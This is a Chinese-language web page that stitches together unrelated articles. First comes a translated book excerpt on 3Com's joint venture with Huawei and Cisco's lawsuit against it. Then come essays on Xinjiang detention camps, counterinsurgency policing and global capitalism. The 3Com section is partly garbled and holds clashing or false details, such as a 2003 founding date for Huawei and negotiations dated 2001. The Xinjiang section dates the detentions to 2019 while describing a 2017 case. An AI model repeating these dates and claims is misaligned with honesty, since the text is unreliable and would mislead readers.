【2019年10月9日存档】曾经一度陷入困境的美国科技先驱如何与雄心勃勃的中国新贵联姻？这是来自一本书的摘录，暴露了中美科技战中一些鲜为人知的背景...

网络先驱 3Com 成立于1979年，多年来在连接全球PC方面发挥了重要作用。

一路上，它收购了调制解调器制造商 USRobotics、拥有了 PalmPilot PDA 的制造商 Palm Computing，因此也在移动技术史上占据了一席之地。

3Com 在本世纪开始摇摇欲坠；2010年，它被惠普收购，其传奇品牌被淘汰。

前3Com管理人 Jeff Chase 和合著者 Jon Zilber 在一本新书中讲述了3Com的故事。

尤其是，作者在“中国电信巨头成为地缘政治阴谋”的主题之前，写下了该公司与华为的合资经历。

3Com最终收购了华为在该合资企业中的所有权，后来未能完成一项让华为成为其所有者之一的交易。

以下是这本书的摘录。

在降低成本和销售策略的同时，出现了一项新战略。对于 3Com 来说结果最终将被称为“China Out”战略。

随着时间的推移，中国公司华为成为了重要的合作伙伴，成为了进入广阔亚洲市场的渠道，并成为帮助3Com稳定其财务状况的盟友。

华为于2003年成立，总部位于中国深圳。它最初销售电话交换机，但其业务迅速扩展到中国境内外企业的电信网络、服务和设备。

H3C与华为合作的火花始于华为的参与。

正如[前 3Com 首席执行官]Bruce Claflin 所说，这一切始于[企业发展高级副总裁] Anik Bose 在周五晚上将他介绍给 UT 斯达康的首席执行官那一刻。

Bruce 回忆说，当时他“根本不知道UTStarcom到底是谁 —— 这对我来说听起来就像杰斐逊星舰。”

但在 Anik 提出这个问题之后，Bruce 和他们会面了：“我的期望很低，但这真的是我脑海中激发出的一场大规模改变的开始。”

他与首席执行官共度了一个星期，访问了该公司在台湾、中国和香港的业务，与客户、供应商和政府官员会面。

UT斯达康在中国开展了大规模的业务，主要向电信公司销售产品。Claflin 在IBM的职业生涯中曾在中国生活和工作，他了解中国市场的巨大潜力。

“中国是一个非常糟糕的经商之地。但是，UT斯达康有一个迷人的商业模式，” Bruce 说。

“我回来时已经对在中国进行研发的潜力感到震惊了”。

Claflin 曾在亚洲生活为**IBM**中国工作，从**1989**年到**1992**年间，当时与中国做生意非常困难。而现在他看到了很大变化，并认识到了市场的新吸引力。

事实上，3Com曾经考虑过与UT斯达康合并，但 Masayoshi Son（日本软银的创始人和UT斯达康的主要投资者）权衡后反对；Bruce 和 Anik 也不是百分百有信心，所以这个想法被放弃了。

然而，Bruce 确信3Com需要制定中国战略。

Claflin 反思华为带来的价值时说：

华为为我们带来了即时产品线，它将我们的交换机和路由器从最低端升级到最高端。这些事如果我们自己做会花费多年的时间。它还为我们提供了一个非常庞大但相对低成本且高效的研发团队。最后，它让我们在中国市场占据了一席之地 —— 我们很快从没有地位攀升到第二位。事实证明这是近期最重要的因素。

他向华为讲述了他的观点：

我们在企业中有一个存在不完美但知名度很高的品牌，我们有渠道，我们在世界各地都有分销，我们可以通过*3Com*立即帮助您扩展华为的品牌并克服问题。

但我们在中国没有真正的存在，而且你做到了；使用华为品牌可以帮助我们渗透到那里*[*中国*]*。

最后，我们希望将您的研发资产用作我们的核心开发站点，不仅因为他们技术娴熟并勤奋，而且因为他们的价格实惠。

那时，每个工程师的成本降低了约*75*%。出于所有这些原因，我们决定我们想做这个冒险。时机非常完美，我们开始与华为进行深入而激烈的谈判，最终导致了 *Huawei3Com*。

3Com为该合资企业贡献了1.6亿美元；华为投入1800名工程师。

中国症候群

虽然当潜在客户首次与UT斯达康公司合作时，Claflin 可能已经认识到了中国战略的价值，但将所有这些部分集中在一起依旧是一项复杂而冒险的事业。

就像商业风险和权衡还不够复杂似的，偶尔还会有一些邪恶的秘密行动让 John Chambers 不得不应对权衡。

在美国和欧洲、中东和非洲市场萎缩的时候，中国代表了一片绿色领域。

然而，美国/中国的风险投资是非正统的，并且会给双方带来风险。

来自华为的联络人投资了他们与3Com的关系 —— 特别是与 Anik 的关系。随着时间的推移，他们会在与他连续工作三个月后获得互信。

Anik 赞赏 Claflin 承认中国战略背后的愿景，并告诉曾居住在中国和日本的 Claflin，“Bruce，你有一只棕色眼睛和一只蓝眼睛。”

Claflin 充分了解亚洲，了解当地合作伙伴的潜力和需求，并为 Anik 提供了他需要的资金和支持。并非所有CEO都会根据协议的不寻常性质和所涉及的不确定性承担此风险。

该战略专注于中国，并构建下一代路由交换机产品组合，比思科便宜70%。

在获得中国市场份额后，该产品将由 3Com 在美国销售。在决定将华为作为 3Com 的最佳合作伙伴之前，Anik 与其他一些公司（包括联想和中兴通讯）进行了会谈和电话会议。

在华为，Anik 向公司发展负责人郭平介绍了3Com的想法，郭平现在是华为的轮值CEO和董事会副主席。

Anik 后来与华为创始人任正非进行了四个小时的会谈，后者当时担任首席执行官并曾在人民解放军担任工程师。

他告诉 Anik 他的愿景，其中包括企业IT行业明年将来到中国。任正非告诉他，中国有一个很大的市场，华为在运营商市场做的事，3Com和华为可以在企业市场上共同做。

“那天晚上我打电话给 Bruce，我说，‘我想我们找到了一个伙伴’。”

两种文化，一种风险

有许多细节可以确定。如何以对美国和中国公司都有意义的方式构建公司，在哪里找到合资企业的总部，如何定位现有品牌，在哪里找到研发，3Com应该如何利用现有设施，就像在赫默爾亨普斯特德的工程团队那样。这是一个复杂的交易。

当中国战略首次提交给3Com领导团队时，公司法律顾问 Mark Michael 表示怀疑。他觉得他们的中国同行不值得信赖。

Mark 甚至鼓励 Anik 在他去中国的旅行中携带和使用产生背景白噪声的机器，因为他认为每次谈话都可能被窃听。

（Mark 不是唯一对华为表示怀疑的人。该公司此后被禁止进入某些市场；另一方面，2014年，华为成为第一家登陆 Interbrand 的中国公司。全球百强品牌之一）

除了内部反对该合资企业外，还有一些外部压力在努力拆散这一合作伙伴关系。虽然 Anik 在2001年仍然与华为进行了艰苦的谈判，但两家公司计划在2月18日敲定并宣布该交易。

为了废掉这笔交易，思科的 **John Chambers** 亲自飞往深圳，与华为创始人任正非会面，并告诉他不要与**3Com**进行此次交易，而是以**2**亿

美元的价格向他出售该公司，并让思科吸收华为的企业业务。

对于3Com，任正非拒绝了这一提议。Chambers 飞回来并迅速向华为提起知识产权诉讼。据推测，诉讼的真正目标不是华为；相反，他很可能希望这起诉讼足以阻止3Com完成交易。

在 Chambers 不知情的情况下，Anik 和他的团队对华为产品中使用的数百万行软件的各个组成部分进行了广泛的代码分析。

在某些情况下，华为的工程部门从思科“借用”了元素，例如命令行界面，但他们计划将其删除，并将其替换为3Com的命令行界面，作为整个合资协议的一部分。

华为还使用了一种类似于思科的路由协议，也需要更换。

华为对思科的恫吓感到焦虑，但Anik知道3Com有很好的专利组合。

Bruce Claflin 给 John Chambers 打了一个电话：“John，我们尊重知识产权，如果你继续前进，你会发现这里没有知识产权问题，而且我们拥有的专利比你多，我们会用来抵御你的起诉。”

在电话会议上，Claflin 还猜测，John Chambers 并不一定对华为有着极大的爱和钦佩，并不完全信任他们，这很有趣，因为 John Chambers 准备将他们买下来以阻止3Com。

思科在 John 的私人诉讼中首先采取行动，然后在德克萨斯州马歇尔法院提起诉讼，该诉讼涉嫌华为侵犯思科保护的所有相关技术。

3Com带来了斯坦福大学教授作为专家见证，分析整个代码库和路由协议。

他对思科和华为软件进行了全面比较，并向法院证明了没有侵犯知识产权的行为。但是，他确实确认了路由代码和命令行界面必须改变。

3Com代表H3C成功解决此案。这是 Mark Michael 在离开公司之前最后一次成功的项目之一。

尽管在涉及诉讼的媒体上成功破坏了华为的声誉，但思科也为其在中国失去了自己的利益付出了巨大的代价。

随着中国市场转向本土化，思科的市场份额从40%下降到8%。最终，思科没有赢得法律纠纷或对中国企业的战争。

- ○ 注：本文来自美国老牌企业管理者所写的一本书的摘录；不代表本网意见** When 3Com met Huawei: How a struggling U.S. tech pioneer partnered up with an ambitious Chinese upstart–for a while.

原文

中国的“新疆模式”如何借鉴美国、英国和以色列的平叛战略 - iyouport

中国-半壁高堡奇人关于高堡奇人

不只是“借鉴”，中国新疆发生的事必需放在国际视角下才能看清楚，然后才能找到解决方案

【按】今年3月下旬，围绕“新疆棉花”的民族主义冲突中，人们广泛忽略了一些真正重要的问题。

我们在去年底的对话主题是中美，这不只是因为2020几乎一整年中文舆论都在围绕美国，更有，它是IYP一直在坚持的主题：全球视角 —— 只有将反抗放在全球视角下，才能找到根本性的解决方案。头疼医头不仅是浅薄的，而且是最终只能失败的。

这里是两篇文章，采取的都是全球视角。但正如我们一直在做的那样，仅仅揭露全球大国如何培养和协助了中国的暴力镇压机器，是不够的，要了解他们为什么要维持这个暴政机器，就必须从政治经济的角度去观察。

如果真的想要解决问题的话，您需要首先知道暴政的幕后是什么在操纵它。

下载*2020*新书*“维族人的抵抗运动简史”* —— 从大清到*COVID-19*

第一篇文章是《Preventative Policing as Community Detention in Northwest China》。

2017年5月的某一天，一名哈萨克族妇女在新疆维吾尔自治区首府乌鲁木齐被拘留。也许这位妇女是中国公民，过去曾到过哈萨克斯坦，或在那里有亲戚。也许她已经成为微信上一个古兰经学习小组的成员。甚至她自己可能都不清楚是什么“微线索”导致她因潜在的“极端主义”被拘留。无论如何，在她被拘留后，扫描她的智能手机发现，她曾与在哈萨克斯坦的一名维吾尔族妇女有过联系。

审讯人员的首要任务是抓捕“回国的恐怖分子”，她急于取悦审讯人员，于是给阿拉木图的那名妇女打了一个电话。她告诉这名妇女 Gulbahar Jelilova，她的母亲—— Gulbahar 在一家班车贸易公司的合伙人—— 在医院里，所以 Gulbahar 需要越过边境自己去乌鲁木齐取她订购的出口到哈萨克斯坦的产品。

Gulbahar 一开始很怀疑，因为她听说过2019年年初开始的“新疆”大规模拘禁维吾尔族、土著人和少数民族的事，但因为她知道自己的合伙人有心脏病，所以她想，也许她生病的故事是真的。因为她是在哈萨克斯坦出生的哈萨克族公民，所以她认为自己虽然是维吾尔族，但没有什么可担心的。

到了乌鲁木齐的第二天早上，她发现自己错得很离谱。她说：

早上*8*点，警察敲了我的门。他们向我展示了他们的警徽，然后说他们有几个问题要问我。我以为他们真的只会问几个问题，所以我*[*没有试图反抗*]*就随他们去了。我们一到警察局，他们就检查我的手机。当他们找不到任何东西时，他们给我看了我朋友的照片，问我是否认识她。然后我才意识到他们已经拘留了我的朋友。他们在她的手机里找到了我的电话号码，逼着她女儿给我打电话。然后他们指责我给土耳其汇了*17000*元人民币。让我说我为什么要这么做？他们说，‘慢慢来，好好想一想’……

事实证明，Gulbahar 有足够的时间来考虑这个问题。在接下来的一年零三个月零十天里，她被关押在乌鲁木齐的一系列拘留中心。在这些“黑点”拘留中心，被拘留者因可能与恐怖主义有联系而受到调查，那里的条件是可怕的。她和其他30多名与她同住在一个14平方米的牢房里的突厥穆斯林妇女被迫轮流睡觉，因为没有足够的空间让所有人同时躺下来。牢房的灯从未关过。她们的所有行动和说话都被摄像机和麦克风记录下来。

不会说中文的 Gulbahar 学会了说“谢谢”和“到”，还学会了唱中国国歌《义勇军进行曲》。她每天都在高高挂在墙上的电视屏幕上看政治演说，这就是“再教育”。这是她被拘留的“再教育”部分。

审讯人员向她出示了一张崭新的中国身份证，并让她记住她新的18位公民身份号码。他们告诉她，她不是 Gulbahar Jelilova，她现在是中国公民，她应该承认自己的罪行。

Gulbahar 曾被卷入明确针对新疆维吾尔族和其他土著及少数民族群体的“再教育”系统。她是150万被认为表现出恐怖主义“预警”迹象

的人之一。这种预防性治安系统是建立在美国、以色列和欧洲的反叛乱模式基础上的，但根据中国的所谓“中国特色”进行了调整。

- 《泄露：中国庞大的警察数据库》

这些模式和技术共同产生了一种强制性的拘留营制度，该制度由一支超过100万人的非穆斯林公务员和警察组成的军队来实施。该项目得到了全面的、人工智能辅助的生物识别和数字监控系统的支持。

上图中这本书在这里下载：https://www.patreon.com/posts/ru-jin-zhe-shi-38188062

羁押规模之大，技术运用之多，使中国的平叛行动史无前例。它就如同美国在伊拉克的战争，只是没有组织化、没有武装化的反叛者，也没有使用炸弹和空袭大规模的杀戮；它同样是一个反暴力极端主义（**CVE**）项目，有专门建造的拘留营和国营寄宿学校。它对反叛乱行动模式进行了调整，以产生一种新形式的当代定居者殖民主义。这种殖民主义的政治和物质结构将维吾尔族、哈萨克族和其他土著和少数民族社区分割开，剥夺他们的土地和剩余的一切 —— 他们的语言、信仰、家庭和文化传统。作为这一制度特点的技术辅助警务形式帮助国家对定居者的生活产生了种族化的统治。

反叛乱的全球转变

「图」

Gulbahar Jelilova 和她社交网络中其他人的经历表明，中国西北部地区的治安和拘留以及世界各地的反叛乱活动发生了更广泛的转变。

正如 David Brophy（2018）的分析所显示的那样，自**2014**年以来，中国当局采取了与**911**事件后的美国和其他国家类似的伊斯兰恐惧症和反叛乱军国主义的形式。如同**2000**年代中期美国领导的对伊拉克和阿富汗的占领一样，中国警方将新疆变成了一个例外的空间—— 一个反叛乱战区，活跃的武装分子被认为隐藏在“中立人口”中（Harcourt 2018）。

在美国的案例中，发现并彻底铲除这些藏匿中的所谓“恐怖分子“ 的唯一方法是通过涵盖战区所有居民的全光谱情报。一旦实现了知识优势，就可以通过清除和隔离的过程来追踪和撕裂“叛乱”的网络。实施反叛乱的最后一步是通过人道主义援助、基础设施建设和就业培训赢得目标人群的 ”人心”。据认为，这将使“政权更迭”合法化并得到

巩固。

美国在伊拉克和阿富汗的战争的一个关键要素是建立一个“人类地形系统”。该系统在高峰期雇用了27个社会科学家的小组，他们都是伊斯兰教和阿拉伯语或普什图语和达里语的专家，作为“参与观察者”进入人们的家庭，绘制伊拉克和阿富汗的社会关系图，建立一个数据库，以绘制社区和人口的意识形态图谱（Kelly等人，2010年)。

- 《“只有两个国家足以压制反叛”：AI, 大数据和反叛的未来》就是中美

这一过程被地理学家德里克·格雷戈里（Derek Gregory）(2008) 称为“武装社会工作”，被认为是为了建立一个知识网络，以预测反叛者的威胁。民族志被认为有助于进行必要的和有针对性的攻击，以便有选择地清除和关押营地关系网络中的“反叛领导人”。到2008年，这些集中营中最大的布卡营地有多达18000名被拘留者 —— 包括伊斯兰国（IS）*未来的*领导人阿布·巴克尔·巴格达迪。在这里看到这个故事《ISIS 简史》。

- 《为什么战争成为了最赚钱的生意？：新书 ~ “了解战争工业”》

自2016年以来，中国新疆也建立了类似的制度（Mahmut 2019年）。与阿富汗或伊拉克不同的是，这里没有有组织的武装反叛运动，然而新疆的维吾尔族和其他土著和少数民族群体却以类似的方式被当成了“预恐怖分子”。

中国当局使用了许多与美国布什政府相同的“强化审讯”手段。并且，中国政府将几乎所有形式的突厥伊斯兰教实践病理化了，将其视为精神疾病的表现，并努力通过精神治疗、语言教育、政治灌输和强制工厂劳动等措施，在比伊拉克或阿富汗的集中营系统更广泛的拘留营系统中改造穆斯林（Grose，2019）。

在新疆，警察并没有像美国那样试图制造政治政权的更迭，国家的机构已经完全在他们的掌握之中。这里还有更多的东西。如同在世界各地的定居者殖民体系中一样（Wolfe，2006），他们试图通过拘留和重新培训全体居民，来产生深刻的认识论和社会淘汰。这是通过越来越严格的生物识别技术和数字监控检查站的嵌套系统来实现的 —— 最后是营地和监狱本身的严格限制。新疆的所有维吾尔族、土著和少数民族群体都不同程度地被关押在其社区的“露天监狱” (sirttiki türme) 中。

采用西方的框架

「图」

早在**2007**年，中国的国家媒体和警务理论家就开始注意到美国军国主义的转变，当时对 “彼得雷乌斯主义” 的讨论，即 以大卫·彼得雷乌斯将军命名的 “新反叛乱手册“，标志着全球军事科学的转变（Yang ，2007）。

在接下来的几年里，中国各地精英警察学院的学者们开始研究这套反叛乱理论，首先是美军的实践，然后是以色列对其进行调整和技术援助的方式（Lu and Cao，2014）。在不到十年的时间里，这种新的理论范式在新疆的实践中得到了调整。

这种从学术研究到政策实施的转变，背后的动力很大程度上来自于2013年和2014年发生在北京和昆明的悲剧性事件。在这两起事件的第一起中，2013年10月28日，一个维吾尔族袭击者在天安门广场驾驶车辆冲入游客人群；在第二起事件中，2014年3月1日—— 这起事件通常被称为 “中国的911”—— 维吾尔族袭击者在昆明火车站杀害了数十名汉族旅客（Doyon 2018）。一年之内，在美国在巴勒斯坦、阿富汗、伊拉克等地实施的新警务形式，都凝聚成了 “中国特色社区警务反恐模式” 等一系列中国国家科学基金警务理论项目（Lowe 2017）。

这种强调通过 “先发制人” 来实现所谓的 “预防” 的中国警务新范式的领军人物之一，是一位来自沈阳的青年学者曹雪飞（音）。曹雪飞在澳大利亚查尔斯特大学读警察学和反恐专业博士生时，就和一位名叫吕鹏（音）的同事发表了一篇很有影响力的文章，论述了以色列反叛乱理论对新疆反恐的启发。

随着思维的不断发展，曹和另一位同事翻译了CVE专家大卫·洛威（David Lowe）的《反恐警务》一书（2017）。他们的中译本获了奖，为中国的所谓反恐拓展与伊斯兰国（IS）的关系提供了 “经验基础” ，很多人怀疑伊斯兰国与北京和昆明的维吾尔族袭击事件有关。洛威的书中分析了ISIS在英国的分支组织 ”激进化和招募人员加入他们的事业” 的方法，还强调了通过监视和社区线人收集情报的 “关键” 方法。

在2016年夏天发表的一篇文章中，中国警务理论家季彦涛和尹伟（音）（2016）开始描述这种警务转向在中国语境下的调整方式，强调要转向预防而不是 “被动反应”。季和尹认为，这种新的警务形式应

该补充军事式的“干预”和“严厉打击和严格的惩罚”，而这些都是早期新疆“严打”运动的典型特征。

然而，尽管他们是在建议一种更广泛的方法，但他们小心翼翼地指出，中国的恐怖主义植根于“教育、宗教、民族和经济因素”等社会原因，“与警察的存在并不成正比”。（季和尹 2016）。

按照中国执政党的立场 —— 这与世界各地**CVE**倡导者的立场相呼应 —— 他们声称维吾尔人之所以容易发生所谓的恐怖主义，是因为他们的社会和文化制度，而没有承认警察的暴行和殖民化的作用。

无论如何，他们主张将反恐的重点转移到由民间情报人员推动的“先发制人”上。这一模式的核心是一个术语，季、尹二人在12页的篇幅中重复了**58**次：“预防”(prevention)。

从他们的角度来看，所谓的预防包括三个相互联系的领域：“打击性预防”、“控制性预防”和“保护性预防”。打击性预防指的是“对重点高危人群的实时控制”（季和尹，2016），比如像 Gulbahar 这样的人：所谓的“回流”恐怖主义嫌疑人。对于那些曾在国外穆斯林占多数的环境中生活过的维吾尔人，信息渠道畅通，尤其是对于那些有证据表明他们与其他嫌疑人有关联的人，需要“先发制人”。

一旦恐怖主义嫌疑人被拘留，他们就会被转入“控制性预防”。在这一领域，对于那些没有足够线索或证据证明其具有恐怖主义意图的人，需要对其进行“稳控”，以减少其犯罪的可能性，消除其行为和思想上的“不利”。

第三种形式，即 保护性预防，是指通过全面收集情报，对普通民众中恐怖主义思想的“滋生和蔓延”进行干预，防止潜在的恐怖主义。

与非中国式的反叛活动截然不同的是，所有这些情报收集工作都是通过社区（指城市地区由国家指挥的邻里守望部队）或村级的邻里大队（指中国最基层的党支部警务）来进行的。在新疆，“大队”主要由汉族党员和警察组成，但也雇用维吾尔族辅警和汉族志愿者线人，通过每周的情报报告配额制度，动员他们参与反恐斗争。

虽然中国的社区警务与欧美反恐的言论相呼应，但季和尹认为，必须给“人民”施加压力，让他们举报自己的邻居，才能填补情报系统的盲点。《中国为什么要重启笨拙低效的斯塔西式群众斗群众？》

实现这种社区警务的方式是通过观察穆斯林人口是否有75个所谓的

“极端主义” 伊斯兰实践的迹象，从清真寺出勤、学习《古兰经》、到常用的问候语 Asalaam Alaykum（Buckley 2018；Greer 2018）。特别关注的是未经授权的宗教知识和实践，以及与其他嫌疑人的关系（Hunervan 2019）。

与非中国式的平叛不同，在这里，每个国营看守单位都有便民警务站支持，通过视频监控、社交媒体历史搜索、生物识别追踪、人类监控等方式对辖区内的人进行 “无缝” 监控（张，2016）。

- 《西方学术界帮助构建了中国的自动化种族主义》

在季、尹二人撰写2016年文章时，新疆的 “再教育营” 尚未全面建成，对维吾尔族、哈萨克族等土著和少数民族社会的扫荡还未正式开始。不到一年后，Gulbahar 和新疆150万维吾尔族及其他土著和少数民族成员开始被推到这些 “预防” 的领域，并受到伴随而来的社会淘汰形式。

“新疆模式”

「图」

2016年11月，出现了一篇新的文章，作者是新疆某地方警校的理论家王丁和单丹（音）。这俩作者认为，其他警务理论家提出的预防性警务模式需要以明确的 “新疆模式” 进行调整，不仅要改造宗教，还要使突厥少数民族与中国文化 ”深度融合” 。

他们写道，这种新模式将把美军使用的全方位情报 “战争模式” 与旨在铲除恐怖主义根源 —— 即 “极端主义” 宗教意识形态的 “犯罪模式” 结合起来。这两个方面的预防性警务将与 “治理模式” 结合在一起，重点是 “把社会秩序恢复到常态“ 。

但王、单二人心目中的 “正常” 社会秩序究竟是什么？正如他们所说 “在当代，没有 ‘文化’ 的宗教是没有前途的”（王和单，2016）。正因为如此，他们提出必须加快中国文化在新疆的 “深度融合”，他们认为这个过程实际上是反恐 “新疆模式最鲜明的一面” 。他们认为，由于新疆的特殊背景，这些适应性的反恐方式是必要的。因为这是一个汉人尚未完全定居的边疆地区，当地居民普遍缺乏市场融合。

但更深层次的问题仍然是宗教问题，正如王和单所说，这是一个 “个性问题” 。他们写道，处理这个问题的唯一办法就是坚决防止人们被 “没有文化” 的宗教 “洗脑” 。言下之意是，由于突厥穆斯林危险地缺

乏“文化”，而“文化”一词明确指的是“中国文化”，因此必须加快中国文化在新疆的“深度融合”。

由于伊斯兰教深深地融入了新疆人的生活方式，王和单认为，突厥穆斯林几乎需要解除他们生活的方方面面。要想真正做到这一点，唯一的办法就是让该地区的所有非穆斯林人口都接受这个过程。

他们认为，拥有中国文化的人需要在整个新疆社会中“占据舆论阵地、文化阵地和社交媒体平台”（王和单，2016）。他们这样写道，暗示维吾尔族和其他土著及少数民族文化领袖需要被全面实施定居者殖民主义来取代。只有这样，才能将“各类不稳定因素”“消灭在萌芽状态”。

当 Gulbahar Jelilova 在2017年被作为疑似“返乡恐怖分子”被诱骗回新疆时，这些学者所倡导的大部分内容已经被操作化。

和其他几十万人一样，Gulbahar Jelilova 被锁定为“防打击”的逮捕对象。从此，她进入了“控制性预防”，直到最终被释放进入“保护性预防”。虽然她被认定除了是维吾尔族和穆斯林之外，没有任何其他罪名，但平叛的“新疆模式”从根本上颠覆了她的生活。

社区作为监狱

「图」

在反叛乱战争中，社会权力最小的人遭受的伤害最大。根据“伊拉克尸体计数”组织的独立研究人员的说法，自**2003**年以来，伊拉克有记录的平民死亡人数近**20**万（IBC 2019）。在阿富汗，美国军队及其盟友杀死的平民比塔利班更多（Zucchino 2019）。这些死亡的连带效应，以及在这些空间中通过监视和清除而产生的社会生活的广泛分裂，随着社会网络被打破，家庭被分离，产生了巨大的暴力形式。反恐的痛苦由那些留下来的人带入后代和跨社区（Al-Mohammad，2016）。

- 《肮脏的战争：同名书和纪录片》

正如 Arun Kundani 和 Ben Hayes（2018）的研究所显示的那样，在欧洲和北美，穆斯林社区被要求承担与**CVE**计划相关的社会暴力的主要责任。家庭、清真寺、雇主和教师的任务是将他们的朋友、亲戚和学生评估为“预备犯罪人员”。

与中国一样，在英国，极端主义被想象成 ”一种病毒” ，与经验证据相反，宗教意识形态被认为是暴力的主要原因（Kundani 和 Hayes，2018）。不考虑结构性暴力、殖民主义和制度化的伊斯兰恐惧症的作用，而是将穆斯林和那些被种族化的人—— 尤其是那些在公开场合实践信仰的人—— 简单地假定为潜在的恐怖分子。

然而，尽管有所有这些相似之处，但必须指出，在自由社会中，公民权利和言论自由可以对实施大规模法外拘留和死亡起到一定程度的保护作用。美国在伊拉克和阿富汗的情况并非自由社会的情况，在中国也不是。正如一位新疆地方官员最近所说，发生在维吾尔族和其他土著和少数民族群体身上的事 “不是侵犯人权的问题。维吾尔人没有权利” （ITV 2019）。

这种框架与中国对人权的普遍解释产生了共鸣：“人权意味着多数汉族人民不受恐怖主义侵害的权利“（刘，2019）。而这又意味着他们有权不受对维吾尔族和其他原住民及少数民族群体的 “恐惧”，这些少数族裔是国内唯一被置于 “恐怖主义” 狭槽中的人群。

Gulbahar Jelilova 所面临的暴力过程，因其哈萨克斯坦公民身份的相对特权而大大减轻。在新疆，种族化的宗教歧视、侵犯隐私人权、政治审查、强迫失踪、没有正当程序的拘留、以及缺乏个人和集体自治的制度化。对于大多数维吾尔族、哈萨克族、土著和少数民族社区来说，他们的拘留没有任何可预见的结局。他们的社区本身已成为他们的监狱。〇

以下是《TheNation》的文章，它指出：中国新疆的集中营不是根深蒂固的种族冲突或亚洲独裁统治的必然结果，而是与中国和全球资本主义的变化联系在一起的。*https://www.shahit.biz/cmn/#home*

2020年9月，民间和政界都在谴责迪士尼在电影《花木兰》的片头中感谢管理新疆再教育营的吐鲁番市公安局（Turpan Public Security Bureau）。知名职业运动员，如NBA中锋鲁迪·戈贝尔（Rudy Gobert）和数名法国足球运动员都在社交媒体上发帖声援维吾尔人。

正如迪士尼，为了能够继续制作中国科幻作家刘慈欣的《三体》，美国的另一娱乐巨头 Netflix 也选择对刘慈欣支持新疆 “再教育营” 的言论进行辩护。

我猜许多外国的观察家们大概不太知道如何将这些新闻标题转化为政治术语。

一方面，集中营的细节确实令人震惊。到目前为止，正在发生的事似乎是不可否认的，基本的细节在很大程度上已经得到了中国政府本身的证实；而另一方面，这些事实常常被塞进一种二元叙述中：让捍卫自由的美国与邪恶的中国对立起来。对于险恶的美国右翼政客和中国军事主义鹰派，这种叙事正中下怀。例如，密苏里州参议员乔希·霍利（Josh Hawley）利用《花木兰》事件，宣称迪士尼“决定将利益置于原则之上，不仅无视中共的种族灭绝和其他暴行，而且帮助和教唆他们； [这是]对美国价值观的侮辱”。

在愈演愈烈的新疆问题上，我认为学者们需要拥有一种具国际主义的视角，提供一个不同于霍利等人粗暴的亲美立场。目前的舆论态势正在滋生极端的民族主义：要么是反华恐华主义（与其说是政客的利己行为，不如说是国家暴力互搏的展现）；要么是亲华主义（该观点拒绝承认新疆“再教育营”中存在的暴力，并以反帝为由引诱了不少中国左派人士）。例如《每月评论》（*Monthly Review*）于10月10日转载了一篇对中国在新疆地区政策令人发指的修正主义辩护。

到目前为止，围绕新疆“再教育营”的大多数讨论都徘徊在两种解释之中：要么是汉族人和非汉族人之间永恒的民族冲突，即 保守专家们认为冲突的源头为“汉族中心主义”；要么是归因于与自由西方资本主义对立的专制亚洲共产主义。

虽然乍眼一看可能还有些道理，但是这种解释过于静态，缺乏历史分析。研究中国西北地方的人类学家 Darren Byler 曾写道：“‘种族灭绝’这一不加修饰的指控只是让一个以文化主义的模式论证某（几）个群体是坏的或邪恶的，并支配着另一个群体的额手段。这种指控不允许解读问题的原由”。

而这一“原由”与二十世纪九十年代的政治经济发展其实息息相关：当时中国政府鼓励国内公司在新疆发展基础设施，开发该地区的石油和天然气，以便向沿海城市供应能源。在此期间，数以百万计的中国人迁往新疆，吸收了该地区的经济收益，并引发了维吾尔族当地人的反殖民抗议。

虽然汉族和维吾尔族之间此前一直存在紧张关系，但这些开发项目将这种紧张关系提升到了新的水准。

政府对异议的回应是通过语言、宗教和文化教育等方式将维吾尔族和其他少数民族同化为一种所谓的“主流”的中华民族社会。2001年911事件后，中国政府立即明确地将美国自己的“反恐战争”言论用于妖魔化伊斯兰宗教活动；悉尼大学历史学家大卫·布罗菲（David

Brophy ）对此进行了记录。另外一个重大事件是2014年5月乌鲁木齐火车站发生爆炸；之后中共官员宣布发动 “人民反恐战争”。

对 Darren Byler 来说，“再教育营” 与政府主导的资本剥削不可分割。这种剥削利用了新疆的自然资源和人力劳动。

新疆地区供应了全国约20%的石油和天然气，以及全球约20%的番茄和棉花。中国公司把新疆作为国家安全和网络安全技术的试验基地，待这些技术成熟后出口到国外。

新疆也是中国 “一带一路” 战略的重要节点，维稳新疆就是确保中国能够顺利进行中亚基础交通的建设项目。据悉，再教育营中的维吾尔人被强制转移到耐克、苹果、Gap、三星等品牌的工厂进行生产活动；这些工厂分布于新疆以及东部大城市，如合肥、郑州、青岛等。

因此，我们必须明白到，“再教育营” 不是根深蒂固的民族冲突或亚洲专制的必然结果，而是与中国和全球资本主义的勾连有关。

- 《抵抗中国的资本主义：国际联盟的理由》

“再教育营” 的形成可以追溯到二十世纪八十年代：当时中国政府转向市场驱动的增长，并以低廉的价格向外国投资者宣传其自然资源和劳动资源。

- 《为什么说中国是资本主义国家》

出口导向的工业化意味着境外资本会获取更高额的利润、更丰厚的储蓄、更优惠的信贷条件。这些吸引外资的政策背后是对劳动力的极端剥削。中国恶劣的劳工环境亦定期被曝光：比如上世纪九十年代反对血汗工厂的运动、2010年代富士康深圳工厂工人连续自杀事件，以及现在关于维吾尔族劳工的报导。这样的丑闻似乎从来没有得到解决，只是在下一个丑闻出现的时候悄悄地被转移。

这些问题的直接责任方当然是中国的企业和机构。但是，如果不看全球经济动态，就无法真正理解为什么这些问题如此普遍。

尽管美国政客们大谈促进人权和与中国脱钩，但是他们知道，正因为美国公司从这种竞相追逐的全球资本化中获利无穷，美国经济与中国经济的分离并不会随便发生。从这个角度看，新疆 “再教育营” 牵连的不仅仅是中国一个国家，而是全球资本以及其政治保护伞的产物。

这就是为什么我认为不能再用民族主义的框架去讨论新疆再教育营的

问题，不能再简单将中美的价值观对立起来。这样的二元对立，受益者始终是保守的美国政客，如霍利、特德·克鲁兹（Ted Cruz）和马可·鲁比奥（Marco Rubio）。他们热衷于煽动本土主义情绪而为己所用，却不愿认真审视中国新疆政策背后的全球合力。

去年，不少声音要求美国制裁中国以表达对虐待维吾尔人的谴责。然而，美国总统特朗普对这些呼吁置之不理，因为这样做会干扰美国与北京达成的贸易协定。尽管他的政府已经开始谴责新疆的虐待行为，但这似乎主要是一种赢取中国让步的谈判策略，也是一种转移对新冠肺炎大流行病处理不当的指责的选举战术。

美国和中国政府之间的民族主义竞争最可能的结果不会是美国实现自己“改善亚洲人民生活”的承诺。这是一场针锋相对的竞争，以惩罚无辜的人民作为一种国家政治的筹码。无论是特朗普政府针对中国学生和工人的签证政策，还是中国政府去年6月通过的《香港国家安全法》以及驱逐和拘留外国记者，都印证了这一点。

